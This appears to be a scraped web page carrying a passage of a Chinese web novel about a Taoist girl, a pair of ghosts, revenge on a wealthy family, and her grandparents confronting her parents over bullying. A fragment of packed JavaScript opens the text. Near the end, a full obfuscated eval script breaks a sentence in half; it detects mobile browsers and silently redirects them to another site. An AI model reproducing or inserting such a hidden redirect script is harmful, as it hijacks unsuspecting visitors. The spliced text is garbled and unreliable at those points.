d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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飞白心一虚,大声嚷嚷道:“咋……咋不是了,我可是实实在在、扎扎实实,凭自己本事上位!” 朋友是自己凭实力交到的,路运是他朋友,所以路运是他实力的一部分。 逻辑没问题! 飞白理直气壮起来。 洛宛童抓到飞白脸上一闪而过的心虚,嗤笑一声,“行,就当你是自己本事,那这个咋说?” 她扬起下巴点点缩一边的王尉程。 被点名的王尉程赶紧露出谄媚的笑容。 洛宛童嫌弃的移开视线。 飞白一哽,“这个……这个……” 找不出理由,飞白直接摆烂,方言都出来了,“那我啷个晓得嘛,找都找了三天咯,硬是找不到噻,我有啥子法嘛!” 飞白还觉得委屈呢,他堂堂一个无常,主要职责是引渡灵魂、押解恶灵,哪个鬼见了不退避三舍、毕恭毕敬啊。 结果现在竟然在给一个不知道哪冒出来的鬼找记忆,还有没有天理了! 飞白两手一摆,“反正找不到,我能力就那样了,要不大佬,你换个人?我刚当上无常没多久,鬼脉啥的都没积累起来,能力有限,但有任职时间长的鬼差,他们指不定有办法呢。” 洛宛童似笑非笑:“好啊,这个任务交给你。” 飞白迅速改口,“啊,这个,那个,咱们还是继续讨论讨论王尉程是咋回事吧。” 先不说能不能拉来一个资深鬼差,就说拉来,两方干起来,谁能赢他不知道,但他知道最后他一定很惨。 他又不是疯了,他是想祸水东引,又不是想把祸水往自己身上引。 “我觉得,瞅着他窝窝囊囊的样,可能是个大学生。”飞白一本正经,问向王尉程,“你还记得死前多少岁不?” 王尉程挠挠头,仔细想了想,迟疑的说:“好像是02年七月十八号出生的,大概二十二岁?” 飞白激动:“妥了,大学生没跑了!” 洛宛童翻白眼,“你瞅他那样,像是能考上大学的样吗?” 飞白觉得有道理啊。 王尉程不服气,他正要为自己的清白据理力争。 洛宛童却心神一动,走到窗边,远远望见远处天空飞来一团黑气。 这团黑气飞的速度非常快,眨眼间就要到洛宛童房前。 飞白当即掏出哭丧棒,“哎呀,胆大包天啊,竟然有鬼当我面行凶!” “滚一边。” 洛宛童扫开飞白,抬手虚空画符,呼吸之间便完成,画完的一瞬间,一道金光闪过。 金色和黑气相撞的瞬间,黑气瞬间溶解,连惨叫声都没来得及发出,金色停滞一瞬,确认空气中不再存在黑气才消失。 飞白举着哭丧棒,目瞪口呆。 不是,这对吗?!这对吗?! 虚空画符啊!他做了五百年的鬼,都没见有谁能虚空画出金符的,而且画的还如此丝滑流畅,一次就成! 嘶! 嘶! 飞白牙疼,怕不是哪家大佬伪装普通人在体验生活呢。 洛宛童都不用掐指算,心神感应间,她便得知鬼气是谁搞出来的。 暗算天师,简直是自寻死路。 给天道打工,活是不好干,但因为连接很紧密,致使天师灵觉敏锐,比如可以通过和天道的连接算一些不好算的卦、画符十次九成、修炼一日千里等。 自然在有人要暗害天师时,无需其他手段便能直接追踪罪魁祸首。 当然福利和职责兼并,天师比常人更受天道关注,常人可能要做大恶才能被天道关注,甚至哪怕大恶都关注不到。 天师还没怎么着呢,就会被注意到,且一旦做坏事,一身修为尽失,反噬也比常人更加严重,轻则半身不遂,重则身死道消,再重魂飞魄散、永无来世。 闫家。 看来是知道自家最近发生的事不对劲儿了。 洛宛童冷冷一笑,接着又打出一道符,这道符飘在半空,猛然一亮,发出赤红光芒,随即消失不见。 飞白谄媚的上前,想要殷勤的给洛宛童按肩膀,被洛宛童躲开。 “大佬,这点小事不值得您亲自动手,小弟我愿意服其劳的。”吹捧的话飞白张口就来,“您亲自动手,完全是大炮打蚊子,那些魑魅魍魉哪配啊。” 王尉程扭过脸,撇撇嘴。 趋炎附势的嘴脸真令人恶心。 转头,王尉程争抢着奉承,“也不知道哪个不长眼的玩意熊心豹子胆来冒犯您,我觉得那个肯定是不想活了,所以来您这求解脱了!” 但真心实意、发自内心的钦佩话不恶心。 被吹捧的洛宛童勉强给俩人一个好脸色。 虽然面上还是很嫌弃两个人,但身体上很诚实的掐算起来。 掐算完,洛宛童有些怀疑,担心是自己技法生疏,又换了种方式重新掐算了一下,结果还是那样。 洛宛童用怀疑的目光看着王尉程:“你没给错出生日期?” 王尉程:“应该……没有吧。” 洛宛童:“你给的这个八字主人还活着。” 飞白倒吸一口凉气,“有人换命!” 14. 第 14 章 洛宛童缓慢放下腿,看着面前一张张很眼熟的面孔,一挑眉,什么话都没说,抬脚往家门口走去。 跪下的人眼含热泪,明明不想让洛宛童离开,却一个敢伸手拦人的都没有。 鳄鱼的眼泪。 他们流泪是因为他们认识到自己错误,诚心悔过吗? 不是。 是他们挨打知道痛了,知道疼了,知道自己再不认错要完蛋了,所以才来这里流几滴毫无用处的眼泪。 下跪而已,谁都能跪,谁都能做到的事情,还算个什么! 闫家冒出来的一个个负面新闻后,他们倒是幡然醒悟了,时间多巧妙啊。 但洛宛童这里不是垃圾场,世上人那么多,她为什么要看那些试图重新做人的东西。 洛宛童眼神泛冷,而且她不会给仇人第二次机会! 这些来求饶的人只能眼睁睁看着洛宛童走进家门,瘫软在地上,互相指责的力气都没有。 闫家那么大的势力都被整顿的苦不堪言,收拾他们这些小喽啰还不是手到擒来。 他们不会那么天真认为闫家最近的事故和洛宛童无关,只看他们到今天还张不开的嘴和无法离开医院的孩子,他们便知道洛宛童是真的有让他们死无葬身之地的本事。 这些家长们心中不可抑制的升起对自己孩子的怨恨,要不是他们作死,不好好上学,非得在学校为非作歹、欺压同学,他们作为父母能和这个煞星对上嘛! 要是辛辛苦苦半辈子的家业被一朝葬送,真不如当初他们出生时就掐死他们! 同样觉得世上作死的人真多的还有汪连平。 他看到闫家三人后,倒抽三口凉气,差点没把他周围的空气吸干。 好家伙!好家伙! 汪连平紧皱眉头,绕着已经完成直角的闫家三人转圈。 宁天华睁大眼睛,牢牢在心里记汪连平的动作。 这可都是能从前辈身上汲取到的经验和能力,必须要好好记。 闫家三人同样眼巴巴……哦,不对,他们没办法瞅着汪连平。 不过他们眼中确实充斥着希望,这么些天,他们吃不好睡不好,每天被酸痛折磨,有时候难受的他们恨不得去死,但等临动手时,又下不去手。 他们有钱有地位,大好的生活还没享受够,一死不就什么都没了。 他们等着汪连平说他能给他们解决问题。 本来是不信的,但谁让这俩看着不大靠谱的人是派出所所长带过来的,而且代表官方。 官方出身,总得有些本事吧。 闫成齐甚至已经想好,等汪连平解决他们身上的问题,就把洛宛童那个斜魔歪道告诉他。 匡扶正义可是他们作为官方的责任和义务。 跟随而来的林明生面上遮掩的很好,但其实眼中同样好奇得很。 他倒是看过不少小说,咳,那个,他可不是在上班时间看的啊,他可是爱岗敬业的好所长,从不偷奸耍滑。 他是下班后才看,打发打发时间。 小说里有各种神秘莫测的本事,什么头飞出去人还活着啊,一个诅咒对方家破人亡啊,还有摆个风水局要谁谁生、要谁谁死…… 但那不都是小说嘛,小说能当真吗? 谁知道现在忽然世界观有点破碎,娘的,那些玩意儿竟然是真的! 不行,他回头再翻翻那些小说,指不定背后是一个大佬在写他亲身经历呢。 他得多看看,储备点保护自己的知识,可不能让嫉恨他的小人算计他,好不容易当上所长,他还没好好奉献自己,在这个岗位上发光发热呢。 转完圈,汪连平摸着下巴思考,在场人都不敢贸然出声打扰他的思绪。 但闫家三人完成直角的身体不支持他们不打扰。 闫成齐手撑着腿,他的视线只能让他看到脚尖这一圈,因此他看不到站在他身后的汪连平。 “汪……汪大师?” 汪连平没有反应。 闫成齐加大一些声量:“汪大师!” 汪连平回神:“啊?啊!怎么了怎么了?” 闫成齐极力压制升起的不耐,他说:“汪大师,您看我们现在的情况,您有办法吗?” 汪连平“啧”一声,沉吟一会儿,又“啧”一声,还是不说话。 直接给闫成齐啧的怒火彻底控制不住,“汪大师,你到底有没有本事?” 本身他便不是什么好脾气,现在又成了这样,要不是还有求于汪连平,他早骂人了。 汪连平还没有说话,宁天华先忍不住,他出声道:“闫先生,请你注意你的态度,我们又不是你的下属,有脾气别对我们使!” 谁还没有点脾气了。 闫成齐一哽,“你……” 汪连平转个半圈走到闫成齐前方,好脾气的说:“闫先生别生气,小孩子嘛,年轻气盛,您多多谅解。不过,小宁说的不是没道理,您现在这个样子是吧,有点情绪,我们充分理解,但是吧,越是这个时候,越得冷静,要不然啊,坏事。” 闫成齐听出汪连平的威胁,他强压下脾气,心中暗暗想,等汪连平解决了他的问题,他绝对要这俩人好看! “那汪大师,您有思路了吗?”闫成齐深吸口气,憋屈的问。 汪连平再次沉吟半晌,这次闫成齐不敢催。 最后汪连平说:“实话实说,没有。” 这下不止闫成齐炸了,闫晶和王雅琼同样炸开锅。 闫晶声音尖利的骂:“你没有本事解决,你在这里装半天深沉,装个屁啊,你要早说你没有本事,我们早tmd让你滚蛋!” “不对,你tmd是不是来我们闫家骗吃骗喝来了,现在骗不住才说实话。好啊,你和这个林所长是不是一伙的!” 闫晶的手得撑着腿,没办法空出来,要不然高低指着汪连平鼻尖骂。 王雅琼虽然没像闫晶那样破口大骂,但话里话外同样是指责:“林所长,我们是相信你才让这两个人进来,但是你不能作践我们的信任,现在折腾我们一圈,是不是有点说不过去。” 林明生一脸尴尬,他张了张口,实在不知道说啥。 来之前他以为会是一个你好我好大家好的局面呢,不是,你都没能力解决人家的问题,你非要见人家干嘛,不纯属没事找事嘛。 你看这事闹的。 林明生有点埋怨。 宁天华非常生气,要不是汪连平拦着,他都能上去抽闫晶嘴巴子,宁天华的生平信条里可没有不打女人这一说。 不打女人,到时候遇到女斜魔歪道咋执行公务,放过啊?那不脑子进屎了嘛。 虽然被拦下没办法动手,但嘴没闲着,“就你家这样的态度,怪不得有人整你们呢,纯属活该知道吗?活该!” 汪连平拍拍宁天华的肩膀,示意他消消气,剩下的让他这个前辈处理就行。 不能总让一个小孩维护啊,他这个前辈带人出来,总得给人留个好印象吧。 汪连平看都没看闫晶和王雅琼俩人一眼,笑呵呵的说:“闫先生,我是没办法处理你们身上的问题,但是闫先生您也没和我们说实话不是。” 闫成齐一滞。 他确实没有提及是谁让他们成这个样子,也没说他们为啥成了这个样子。 因为他怕汪连平一旦知道原委,哪怕有能力解决也因为担心惹到背后的人而不敢动手。 他知道一些能人异士的行事风格,他们中大多数都不喜欢和同行结仇,一件事里如果有同行掺进去,其他人都会自觉避开。 毕竟为了别人和人结仇,太不划算。 要不是因为这样,他也不至于到现在还维持这个样子。 之前找来的那些狗屁大师,谈钱时满嘴承诺,大包大揽,吹嘘自己本事天上有地上无,一到真刀真枪,跑的比兔子都快。 汪连平注意到闫家人的沉默,他说:“闫先生,我虽然本事不大,但眼力还是有几分。你们身上的问题,不是鬼物造成,倒有些像咒。” “我刚进门时就注意到,你们家的风水也不大对。按理你们选择的这个位置风水应该很不错,前水后山,天高地阔,是非常宜居宜人的地方,尤其你们大门口那三尊石狮子,当初应该是找大家打造,神气具现,这样的石狮子绝对是会护着家门。” “可我一路走来,你们家完全没有生机勃勃的样子,灰灰沉沉,晦气缭绕。” 汪连平还不知道这三尊石狮子已经具灵,要不然他绝对都不会踏进闫家大门。 开玩笑,连具灵的石狮子人家说弄走就弄走,那弄掉他的小命还不和玩儿似的。 “所以,你们家绝对是惹到不得了的人物,人家先破坏你们家的风水,再来搞你们。” 汪连平都暗自感叹背后之人的大手笔。 要知道闫家的风水可是自然形成,而以闫家的能力当初迁居时,方方面面绝对有找人调理,还不会是一般人,说不定闫家搬到这里住都是经过高人指点。 结果依旧被人搞成这样。 关键的是他还没看出来背后之人是如何破坏闫家风水的,你说埋晦物吧,闫家是整体上空都漂浮着晦气,但除了闫家,哪怕是只差一毫米,都没有晦气,能造成如此场景,得是什么样的晦物? 退一步说,真有这样的晦物,能使它如此听话的人更不简单。 反正汪连平自己是做不到。 使用阵法、符?不可能,绝对不可能,那不是大手笔了,那是败家子。现在阵法和符箓可是各家的宝贝,尤其是具有攻击力的阵法符箓,哪怕是玄门里传承数百年的世家都会藏得严严实实,用一个少一个,不到关键时刻,都不可能拿出来用。 汪连平越琢磨越觉得这里面水很深,他把握不住。 出于良知,汪连平最后给了自己的建议:“闫先生,现在你的路只有两条,要不和人家认错,看你的表现,应该知道是谁搞得你们,要不你找更能耐的人来,我能力有限,实在没办法。” 说完,汪连平拽着宁天华离开。 林明生睁大眼睛,眼看俩人身影都要看不见,赶忙说:“那个闫先生,我也先走了。” 说完,着急忙慌的去追汪连平和宁天华。他坐着汪连平车来的,这个地方可打不着车。 出来们,宁天华好奇地问:“汪叔,咱真不管了啊?” 虽然他非常看不惯闫家三个人,认为他们都是白眼狼,他们受这个罪都是活该,但他们作为灵异局的人,撒手不管是不是不太好。 灵异局其中一条要求是遇到随意用玄学手段欺压普通人的事情,必须要处理。 汪连平:“小宁啊,汪叔要告诉你个真正的道理,碰到打不过得罪不起的人,咱们能躲便躲,什么舍生取义、视死如归、鞠躬尽瘁,全都是狗屁,人民的命是命,咱们的命就不是命了。” “留得青山在不愁没柴烧,没脑子的牺牲除了让人家爽一爽,增加人家的成就值,根本没有任何用处。” 宁天华迟疑的点头,这个理念似乎和他进入灵异局时受到的培训不大一样啊。 汪连平看出宁天华的犹豫,他知道新人入职培训的内容,老一套嘛,对此他从没有多说过,毕竟这一行死亡率和受伤率真的很高,没有点牺牲精神真坚持不下去。 要不是看宁天华顺眼,他也不会说交浅言深的话,如果宁天华领悟不到,那就尊重个人选择,各有各的路不是。 汪连平揭过这一茬,转而说:“咱们没能力处理闫家的情况,得向上面打报告,能不能求到援助。” 宁天华点头,“哦哦,这样啊。” 但其实汪连平心中知道求到援助的可能性不大,灵异局到底啥实力,他还不清楚吗? 他虽然本事不算大,但他走南闯北那么多年,见识不算少,今天的闫家的事,他都没看个清楚,灵异局里其他人更看不明白。 回去路上林明生欲言又止,汪连平全当没看出来,自顾自开车。 那边闫家三人气够呛。 闫晶埋怨道:“爸,你瞅瞅他们什么态度啊,还灵异局呢,怕不是几只小猫小狗凑一块,自己凑一块组的不入流协会吧。” “说来都怪我哥,要不是他招惹到人,咱们能成现在这样吗?现在他倒好,舒舒服服躺在医院里,啥烦恼都没有,留咱们在家受罪。” 闫晶此时丝毫没有想起来,最开始是他们家先找人对洛宛童下手,事情没成才招人报复。 “闭嘴!”闫成齐脸色铁青,喝止闫晶没完没了的抱怨。 闫晶不服气的撇嘴,本来就是,还不让人说。 闫成齐拿起电话,给在医院看顾闫旭的女助理打电话,结果电话一直响却没有人接。 闫成齐不满,这个小程,做事一点都不靠谱。 挂掉电话,闫成齐让王雅琼给她派到医院的助理打电话,这一次电话倒是接通了。 闫成齐接过手机,“喂,小亮,闫旭最近状况怎么样?” 闫晶撇嘴,非常不满,她哥都害他们成这样了,他爸还关心呢,真不知道有一哥有什么用,好处没见到,净受他连累。 小亮心一凛,想到这几天总是挨打的闫旭,无法说状态不错,但实话实说,他担心闫成齐骂他,问他为啥没护着,小亮他又不傻,他拿的工资里可没有替老板挨打这一份,于是吞吞吐吐的说:“还、还可以。” 闫成齐本来目的就不是关心闫旭,都没在意小亮的吞吐,说:“既然不错,就让他出院吧,医院人来人往,哪有在家里舒服。” 小亮这下没迟疑,“好的,董事长。” 闫成齐很满意小亮的痛快,想到刚刚没打通的电话,随口问:“小程没在医院吗?” 小亮脸一僵,不知道该咋说,自从那天小姑娘来,之后再没看到过女助理,他以为董事长已经知道了呢。 说实在的,要不是他现在缺钱,他也跟着跑。 闫成齐不满的问:“怎么不说话?” 小亮实话实说:“我已经有三天没看到过小程,她好像是辞职了、吧?” 闫成齐:“辞职?算了算了,你去给闫旭办出院手续吧。” 闫晶眼中闪过幸灾乐祸,看来她爸还没老糊涂,知道谁才是罪魁祸首。 不提闫旭得知自己要出院有多么暴怒,骂的小亮狗血淋头,闫成齐打着让闫旭给洛宛童赔罪的想法先一步泡汤。 因为在两天后,他被人从家里押解出来,以谋杀的罪名被逮捕,他畸形的身体再也无法隐藏,暴露在众目睽睽之下。 因为无法行走,他是民警同志架着出去的。 当时闫成齐想死的心都有,风风光光大半辈子,谁见了都毕恭毕敬,结果现在脸丢了,尊严也没了。 洛宛童划上去视频,一同划上去的还有闫成齐的丑态,她看向面前两张讨好的鬼脸,说:“又有啥事?” 飞白举手,乖巧的说:“报告大佬,我们发现重要讯息!” “王尉程”连连点头,这一次绝对是重要消息。 洛宛童躺在卧室沙发上,懒洋洋打个哈欠,不慎感兴趣的说:“有消息就继续找啊。” 飞白说:“不是大佬,我们找到让糊涂蛋死亡的罪魁祸首了!” 洛宛童换个姿势继续刷视频,“哦,那还不去报仇。” 飞白一噎:“其实也不是,我们其实没确定那个人是让倒霉蛋死亡的真凶。” 洛宛童:“那继续找证据证明是。” 飞白激动:“是吧是吧,大佬你也觉得那个人是真凶对吧。那天你说让我们去好大学找一找,我和糊涂蛋第二天就开始一个一个大学逛,多亏了大佬,要不然我俩还得做好久无用功。” “不过现在大学扩招有点太夸张了,一个大学而已,占地两三百万平方米,学生三四万人,怪不得申扈市的房价高呢,地都给那些学校占去了,可不是没有地方建房子了嘛。” 飞白对房价非常有怨念。 “王尉程”戳戳飞白,提示他话题跑偏了。 飞白急忙拉回,“呸,跑远了跑远了,我和糊涂蛋一个宿舍一个宿舍的逛,眼睛都快看瞎了,终于在申交大碰到真凶,当时糊涂蛋一看到他便灵魂震颤,几乎快维持不住人性,要不是我当机立断带着糊涂蛋离开,怕是现在要看不到糊涂蛋了。” “糊涂蛋反应那么大,要说没有关系,我肯定不信!所以,真相只有一个,那个人是杀害糊涂蛋的凶手!” “糊涂蛋执着找记忆的原因便是为自己寻求正义,让该受到惩罚的人去该去的地方!” “有道是:人间正道是沧桑,罪犯终须伏法章!善恶有头终有报,只争来早与来迟。” 飞白说的荡气回肠。 “王尉程”不自觉的为他鼓掌。 洛宛童:“……” 满嘴顺口溜,想当阎君啊。 “所以,你找到糊涂蛋的身份了吗?”洛宛童发出灵魂一击。 飞白蔫儿了,嗫嚅道:“没……还没呢。” 洛宛童哼一声,“那还站着干嘛!” 飞白:“哦哦,那我带着糊涂蛋去找他身份去了!大佬你放心,我绝对会查明糊涂蛋死亡的全过程,送那个真凶进监狱里!” 糊涂蛋都没来得及说话,被飞白一把拽住飞走。 洛宛童打个哈欠,瞄到手机右上角的时间:23:45,都没到零点,还早。 于是第二天十点半,睡眠时间还不足六个小时的洛宛童被吵醒。 要不是见叫她起床的是做饭很好吃的张阿姨,洛宛童绝对要会让打扰她睡觉的人尝尝纸人的拳头是什么滋味。 虽然不情不愿的起了床,但洛宛童依旧睡意朦胧,迷迷糊糊穿好衣服下楼,刚拐个弯,就听到一声怒喝: “你也配当个父亲!” 洛宛童一下睁大双眼,什么情况,谁来她家撒野了? “我就是这样教导你的吗?从小到大我有哪里亏待你吗?有关你的大事小事,我不敢说我事事完美,但我敢拍着胸脯说我这个父亲当的问心无愧!” “洛鸣意,你敢拍着你的胸膛说,你问心无愧吗!” 洛宛童收起战斗欲望,原来是爷爷奶奶来了啊。 那她爱莫能助了。 洛宛童也不着急下去,斜靠着扶梯,静静听下面的交谈。她站的这个位置正好是拐角的上方,下面的人不站在楼梯口往上瞅,根本看不到她。 一道带着年龄感的女声响起,虽不像男声爆喝,但仍可听出话里的失望,“鸣意,从小到大你都是个聪明孩子,我和你爸充分尊重你的想法,哪怕你毕业后想在申扈市发展,我和你爸都二话没说给你凑一笔创业基金。” “我自认为我对你掏心掏肺,但我没想到,我用心教导出来的孩子会成如今的样子,小时候我和你爸哪怕再忙,有哪一次缺失过对你的陪伴?” “孩子,你未免太凉薄了,童童可是你的姑娘啊,你就能眼睁睁对她不闻不问?” 洛宛童挑眉,原来爷奶是因为她的事情生气啊。 施凤栖张了张嘴,小声为洛鸣意解释:“爸,妈,其实不是不关心童童,就是……” 洛爷爷抬手制止施凤栖说话,儿媳妇不是自己生的,他的素质无法让他骂儿媳妇,说来说去,儿子要是上心,童童哪会遭遇那样的事。 不过虽然这样想,洛爷爷其实升起了对施凤栖这个儿媳的不满。 孩子遭遇不幸,绝不会是一个人的失职! “凤栖啊,你们这么些年一直没空去看我和你妈,我俩不怪你们,知道你俩忙,我俩不给你们添乱,反正我俩有胳膊有腿,能动弹,想你们了,我俩来看你们也行。” 施凤栖低下头。 和洛鸣意结婚的十几年,她去蓉锦市看望老两口的次数屈指可数,现在洛爷爷说的话,哪怕没有一个喝骂,她都羞愧难忍。 “但忙来忙去,总得分出点时间给你们的孩子吧。当初孩子可是你们自己要生的,我和你妈从没催过你们,甚至你们当初生孩子时,我俩都表示如果你们忙,孩子可以交给我们照顾。但你们自己说你们可以照顾,我俩便没有多说。” “唉,凤栖,我心疼童童啊。” 你这个当妈的就不心疼吗? 这句话洛爷爷没有说出口,一旦说出口难免伤及脸面。 洛宛童撑着下巴,静静听洛爷爷洛奶奶讨公道,好似她不是当事人一样。 儿媳妇有顾忌不敢说,自己儿子还不是随便骂,洛爷爷瞅着洛鸣意便开始,一拍桌子骂:“丧良心的玩意儿!你配当个人!畜生尚且有舐犊之情呢,你还不如畜生!” 洛鸣意被骂的满脸涨红,一句话不敢吭声。 洛奶奶拽情绪激动的丈夫,“说啥呢,你骂他是畜生,咱俩成啥了?” 洛爷爷气哼哼:“咱俩和他断绝关系,他自己爱变成畜生,和咱俩没关系。” 洛鸣意:“爸,你看你说的,哪至于要断绝关系啊,你这不是戳我心吗?” 洛爷爷脸扭到一边不去看他,“你还有心呢?我以为你没心没肺呢。自己闺女受那么久的欺负,硬是没有发现过。怕不是知道那群小兔崽子的爸妈有权有势,所以装聋作哑了吧。” 洛鸣意连忙否认:“爸,你这话说的太过了,你不信我,总该相信你和妈对我的教育吧。” 施凤栖说:“对,爸,我俩绝对不是装聋作哑,在知道有人霸凌童童后,我俩立即便开始查真相,知道真相的第一时间便去学校找人算账了!” 洛奶奶冷哼,阴阳怪气的说:“以前我俩相信对你的教育,但现在啊,哼。” 洛爷爷转过脸,皱眉问:“有没有报警,那群小兔崽子年龄都满十四岁了,绝对能进监狱!” 一想到童童被人推下楼梯,磕的血流如注,送去医院后差点抢救不回来,他便后怕。 这不是单纯的霸凌,这是谋杀!那么高的楼梯,都知道摔下去会没命,但他们还是推了,所以这是有预谋的故意杀人! 洛鸣意迟疑,洛爷爷捕捉到他一瞬间的停顿,暴怒的站起身,重重的扇了洛鸣意一巴掌,“你个畜生,你连报警都没有!你还说让我和你妈相信你,你让我们如何相信你!” 洛鸣意被抽的眼镜都飞了出去,施凤栖和洛奶奶都被洛爷爷的动静吓了一跳。 洛奶奶回过神来,气的手哆嗦,痛心疾首的说:“从小到大,我和你爸没有动过你一根手指头,看来我和你爸是对你太好了,好的让你丧失了人性。” “算了,老头子,孩子翅膀硬了,咱们管不住,趁现在咱还能动弹,好好照顾咱们可怜的童童,咱们童童真是受太多苦了……” 洛奶奶眼眶含泪,她也不知道怎么小时候乖乖巧巧的孩子变成如今冷心冷肺的模样。 “走吧,带上童童一起走,咱俩是没有他俩有钱,但这些年总有点积蓄,哪怕砸锅卖铁,咱们也不能委屈童童。” 洛奶奶说完,站起身,要去楼上叫洛宛童。 洛爷爷长叹口气,扶着洛奶奶,要一起上楼。 “爷奶,是我不让爸妈报警的,不管他们的事。”关键时刻,洛宛童下来,为洛鸣意和施凤栖解释。 至于为什么没有快点下来,而是在上面听热闹,那还用说,看父母挨打挨骂啊。 不报警这事他们冤,但前面小姑娘受那么多罪他们总不冤了吧。 这一巴掌是应该挨。 洛奶奶眼泪汪汪的看着眼前乖乖巧巧的孙女,都这么大了,她这个奶奶都没好好看过几回,现在想想,真不如当初她和老头子态度强硬点带走孙女。 造孽啊,真是造孽。 “你们俩都丧良心!瞅瞅多好的闺女,现在都还在惦记你们两个不要脸的爹妈,还在给你们开脱!”洛爷爷指着洛鸣意鼻尖骂。 他恨不得再上前给洛鸣意一巴掌。 洛鸣意和施凤栖张了张嘴,最终还是没说出什么来。 洛宛童没看两人,两个老人年龄不小了,今天又是骂人又是打人,气成这样,再气出病来。 她伸出一只手,僵硬的拍拍洛奶奶的肩膀,生硬的哄:“爷,奶,别生气,气大伤身。” 洛奶奶眼眶里一直含着的眼泪一下就冒出来了,“童童啊,都怪我和你爷爷没教好你爸爸,让你受大罪了,奶对不起你,都是奶不好。” “童童别怕,我和你奶为你做主,不用替你钻钱眼里的爸妈担心,现在他俩已经完全被金钱腐蚀,根本不配成为咱社会主义接班人。”洛爷爷是老党员,平生最为自己的身份骄傲,结果老了老了,让亲生儿子在他红彤彤的心脏上滴了墨。 洛宛童十分麻爪,她一点安慰人的经验都没有啊。 她最经常看到哭的人是经过她深情教诲后发自内心忏悔以至痛哭流涕的邪门歪道们。 而他们是不需要的安慰的,唯一需要的是大逼斗,实在嫌哭的烦,还能上前给两巴掌。 但她总不能给她奶奶两巴掌吧。 老太太哭的稀里哗啦,不知道如何安慰的洛宛童果断决定转移话题,“爷,奶,不报警是我的决定。” 洛爷爷洛奶奶没当回事,在俩人心里,洛宛童还是那个反应有些迟钝的孙女,报不报警的,还不是家里大人怎么说她怎么想。 洛奶奶的怜爱的摸摸洛宛童的头,恨声道:“童童,你别怕,爷奶来了,爷奶为你讨公道,哪怕拼了我和你爷爷的老命,也会让那群小兔崽子得到报应!” 洛鸣意也十分麻爪,眼瞅着自己要变成父母眼中十恶不赦的坏蛋,偏偏他还无从辩解。 兜里的手机一直在震动,但洛鸣意没有心思去看是谁打过来的电话。 他和站军姿一样站着,只能眼巴巴瞅着祖孙三人。 施凤栖同样很忙,她最近一直忙着设计下一季的新款和马上上市的冬季衣服,方方面面都要她把关。 但忽然此刻她心里卸了股拼劲儿,摸着胸口挂着的平安符,心里五味杂陈。 她知道洛爷爷洛奶奶怨怪上她了,虽然洛爷爷洛奶奶没怎么指责她,但骂丈夫的每一句话又何尝不是在表达对她的不满。 洛爷爷担心洛奶奶哭岔气,扶着她,拉着洛宛童要坐下,问洛宛童:“童童,你告诉爷爷奶奶欺负你的都是谁?” 洛奶奶一听,抹干眼泪不哭了,“对,是谁,告诉爷爷奶奶奶。” 他们两个过来最开始是因为好久没看到孙女,想着最近正好有空,说走便走,来的突然就没有打招呼。 结果到地,看到儿子家的张阿姨和别家的保姆聊天,当时有点距离,张阿姨没有注意到他俩。 但好歹干了三四年的住家保姆,他俩自然认识张阿姨,每回过来张阿姨都忙前忙后,是个挺好的人。 要不是孙女身边有个这样靠谱的保姆照顾生活,俩人也不可能放心把孙女留给工作狂的儿子儿媳。 谁知俩人还没靠近呢,便听到别家保姆问张阿姨:“你主家的孩子被人欺负成那样,主家有说法没?要换是我家的孩子,哪怕拼了我和我那口子命,也要闹出个一二三来,有钱怎么了,有权怎么了,咱们普通人的命不是命啊!” 老两口又不聋,脑子也没糊涂。 张阿姨主家还能是谁? 不就是他们儿子儿媳家嘛。 主家的孩子是谁不就更一目了然了! 老两口气坏了,拉着张阿姨追问个明白。 张阿姨也为难,她都觉得自己倒霉。 她不是一个多嘴多舌的人,也不爱和别人聊自己主家的事,爱扯闲话的保姆哪个主家都不会要。 谁知道今天怎么那么倒霉,买完菜回来,正好撞上邻居家的保姆,因为两家离得近,有时候她们会一起结伴去买菜,一来二去能聊上几句话。 申扈市富人圈子说大不大,说小不小,洛宛童遭受霸凌的事情哪怕一开始不知道,现在该知道的也都知道了。主家知道了,住家保姆想不知道也难。 再加上前几天呼啦啦一堆人围在云栖竹境,更是议论纷纷,张阿姨都遇上好几回问她这事的人,她都成心躲着了,还是没躲掉。 最倒霉的是正巧让主家的两老口撞上,她都没处申冤。 她真不是一个爱说闲话的人啊! 但洛爷爷洛奶奶逼问,她能咋办,只能捡着自己知道的事情说一说。 洛宛童说:“爷爷,奶奶,我不让报警不是因为害怕。” “而是因为那群王八蛋我亲自动手了。” 洛爷爷唬一跳,赶紧说:“童童,可不能冲动,为那群王八蛋搭上自己不值得。” 洛宛童:“我又不傻,我报复的手段哪怕报警都抓不到把柄。” 洛奶奶仔细观察一番洛宛童,尤其注意看洛宛童的眼睛,发现这一次见面孙女的眼睛不再是混沌一片,她试探性的问:“童童,你是不是……” 洛爷爷也反应过来,对啊,以前和孙女说话,虽然不到说十句回答不了一句的程度,但肯定没有对答如流。 洛宛童刚要张口,被洛鸣意抢先说道:“对,咱们童童好了。” 洛爷爷洛奶奶对洛鸣意没好脸色,看都不看他一眼,只等着洛宛童说话。 洛鸣意满心苦涩,但还是抢着解释,没办法,他担心洛宛童拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314791|166149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出那套“白痴、短命鬼”理论,别再给老两口吓到。 尤其是老爷子,党员出身,对神神鬼鬼的东西一点不信。 “爸,妈,是这样的,童童被推下楼梯后,不是磕到脑袋了嘛,咱都知道大脑是一个很神奇的地方,所以这一磕给咱童童磕好了,算是不幸中的万幸。” 洛爷爷成不爱听这话,撅回去:“怎么,按你这样说,咱家还得感谢那群王八蛋呗?” 洛鸣意急忙否认:“那怎么可能,我又不是脑子有病。” 洛奶奶毒舌:“你现在的表现和脑子有病差不多!” 洛鸣意委屈闭嘴。 洛宛童说:“其实……” 施凤栖大声喊:“童童!” 洛宛童对上施凤栖恳求的眼神,垂了下眼,转而说道:“嗯,是这样,所以我脑子好了。” 施凤栖和洛鸣意都松口气。 